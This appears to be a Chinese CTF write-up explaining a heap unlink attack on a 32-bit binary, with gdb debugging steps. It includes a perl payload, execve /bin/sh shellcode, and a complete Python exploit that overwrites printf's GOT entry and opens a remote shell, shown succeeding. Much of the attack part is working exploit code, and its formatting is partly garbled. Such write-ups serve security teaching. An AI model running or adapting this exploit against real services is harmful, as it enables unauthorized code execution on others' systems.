考虑Unlink Attack
分配260字节后堆是这样的
- 这次为了详细说明,图中也显示size
memcpy()造成溢出
- array[11]现在是使用中状态,可以通过堆溢出使其成为类似free状态的结构
- 具体地说,就是通过堆溢出写入size,fd,bk等
free()的时候,判断是否执行unlink()相关操作
- Unlink的判断,会对array[10]之上和之下的chunk各进行一次
- 对上面的chunk,检查自身size变量上的PREV_INUSE比特位(此处省略,暂时不关注)
- 对下面的chunk,检查下面第二个chunk的size上的PREV_INUSE比特位(注意这个)
- array[10]进行free时,检查上面和下面的chunk是否是free状态
- PREV_INUSE比特位是1,所以认为array[11]是使用中状态
如何找到下面第二个的size变量位置
- 根据array[10]的位置加上size,能够找到array[11]的位置
- 根据array[11]的位置加上size,能够找到array[12]的位置
通过伪造size来伪造位置
- 例如,将array[11]的size更改为-4
- 使260字节数据的末尾比特是偶数
- 这样从array[10]看的话,下面的chunk就是free状态,会进行unlink
- 要得到下面第二个chunk的位置,需要加上这个size,它是负数
- 这样计算得到的array[12]的地址是array[10]的末尾,它的PREV_INUSE是0,使得系统认为array[11]是free状态
其他的注意点
实际的内存中,-4表示为0xfffffffc
array[11]的size变量末尾也存在PREV_INUSE比特位,是1
- 因为array[10]到现在为止还是使用中状态,如果是0的话在unlink之前就会出错
Unlink之前,fd和bk准备成以下状态
此时,执行以下操作(P应视为array[11])
- P->fd->bk = P->bk
- P->bk->fd = P->fd
Unlink完成后,X周围区域已被重写
array[10]周围也被重写
调整使得X->bk成为printf的GOT(保存函数地址的区域)
从260字节区域开始写入shellcode
- 当调用printf的时候,会跳转到shellcode
动态分析及检查
实际上是否真的按这个流程,我们可以用gdb来进行观察
安装gdb和之后使用的socat
$ apt-get install gdb socat
安装peda
$ git clone https://github.com/longld/peda.git ~/peda
$echo "source ~/peda/peda.py" >> ~/.gdbinit
peda的检查
$ gdb -q /bin/ls
- 启动后,输入’start’,当出现彩色画面时,说明安装成功
我经常写下面这种gdb脚本文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24$ cat cmd
set follow-fork-mode child
def show_heap
printf "array[10].ptr begin\n"
x/8xw *(int*)($esp+0x60)
printf "array[10].ptr end-0x10\n"
x/8xw *(int*)($esp+0x60)+0x104-0x10
printf "array[11].ptr begin\n"
x/8xw *(int*)($esp+0x68)
printf "array[11].ptr end-0x10\n"
x/8xw *(int*)($esp+0x68)+0x374-0x10
end
# memcpy
b *0x08048AA6
# free
b *0x08048afa
ignore 2 0x0a
shell perl -e 'print "\x00"x260 . pack("III<", 0xfffffffd, 0x804C004-8, 0x804F350)' > pwn
r < pwn
- 因为alarm()会妨碍分析,使用peda的函数使其无效
- 显示heap分配的内存地址信息
- 在free和memcpy上创建断点(不对前10次free断点)
- 堆的地址是本身是随机的,这里通过gdb运行是固定地址,除非明确关闭对应选项。我的环境中第11个堆地址是硬编码的,就是这个
memcpy()前后
产生了堆溢出,覆盖了下一个chunk
第11次free前后
第11次free之后
查看printf@got
可以看到已经被重写为堆的地址
原始的值是这样
之后继续运行
- 跳到了0x0804f350(堆区域),SIGSEGV
- 我们已经控制了EIP的值(可以在此处写入shellcode)
进行exploit
接下来只需要写脚本
- 以这个为基础
perl -e 'print "\x00"x260 . pack("III<", 0xfffffffd, 0x804C004-8, 0x804F350)'
- shellcode还没准备好
- 需要将””\x00”x260”的部分改为shellcode
- 堆地址的动态对应
- 堆地址本身是随机的,这道题目将其显示出来的
- 实际环境中,是需要通过网络发送payload后,在远程服务器获取flag
- 实施NW通信
写一个脚本
首先需要一个网络发送数据的模板
参考PPP的Write-up
#!/usr/bin/python # -*- coding: utf-8 -*- import socket, struct, re, telnetlib def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def read_until(f, delim='¥n'): data = '' while not data.endswith(delim): data += f.read(1) return data def p(a): return struct.pack("<I",a) def shell(s): t = telnetlib.Telnet() t.sock = s t.interact()
# linux/x86/execve_binsh shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"1
2
3
4
5
6
7
8
9
10
- 实际攻击部分如下
- 可以在下面地址找到shellcode,也可以自己构造
- http://shell-storm.org/shellcode/
- 堆地址的动态对应只需要使用正则表达式解析服务器响应
-
s, f = sock(“localhost”, 4088)
#s, f = sock(“katagaitai.orz.hm”, 1111)
ret = read_until(f, “Write to object [size=260]:”)
print ret
heap_addr = int(re.findall(r”loc=([^]]+)”, ret)[10], 16)
print hex(heap_addr)sc = “\xeb\x08” + ‘¥x00’*8 + shellcode.ljust(250, ‘¥x00’) + p(0xfffffffd) + p(0x0804C004-8) + p(heap_addr)
f.write(sc + “\n”)
shell(s)1
2
3
4
5
6
- 最终完整代码在这里
- <https://pastebin.com/Cw6haUw5>
-#!/usr/bin/python
-- coding: utf-8 --
import socket, struct, re, telnetlib
###################### useful function definition
def sock(remoteip, remoteport):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteip, remoteport))
return s, s.makefile(‘rw’, bufsize=0)def read_until(f, delim=’\n’):
data = ‘’
while not data.endswith(delim):data += f.read(1)
return data
def p(a):
return struct.pack(“<I”,a)def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()###################### main
linux/x86/execve_binsh
shellcode = “\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80”
s, f = sock(“localhost”, 4088)
#s, f = sock(“katagaitai.orz.hm”, 1111)
ret = read_until(f, “Write to object [size=260]:”)
print ret
heap_addr = int(re.findall(r”loc=([^]]+)”, ret)[10], 16)
print hex(heap_addr)sc = “\xeb\x08” + ‘¥x00’*8 + shellcode.ljust(250, ‘¥x00’) + p(0xfffffffd) + p(0x0804C004-8) + p(heap_addr)
f.write(sc + “\n”)
shell(s)1
2
3
4
5
6
7
8
9
10
11
12
13
14
- 由于Unlink稍微破坏了数据的开头,因此适当地连接0xEB 0x08,以便相对跳转可以跳过开头的2到10个字节。
## 发送exploit后的内存情况(memcpy之后)
![](https://raw.githubusercontent.com/zjicmDarkWing/images/master/2019032708.jpg)
当unlink完成时,0x0804f350被写入printf@got,也就是说,当调用printf时,它会跳转到0x0804f350。
但是,unlink之后,进行P->bk->fd = P->fd这样的处理,第5-8字节被破坏了,因此第一二字节使用了short jmp跳过了被破坏的区域,进入执行shellcode
# NW通信测试
## 实际NW环境$ adduser user
$ cp ./heap /home/user/
$ chown user:user /home/user/heap
$ su user
$ socat TCP-LISTEN:4088,fork,reuseaddr EXEC:/home/user/heap &
$ exit
$ netstat -antpu |grep socat
tcp 0 0 0.0.0.0:4088 0.0.0.0:* LISTEN 17728/socat
$
1 |
|
$ id
uid=0(root) gid=0(root) groups=0(root)
$ python exp.py
(略)
[FREE][address=9AA4C98] [FREE][address=9AA5058] [FREE][address=9AA5350]
id
uid=501(user) gid=502(user) groups=502(user)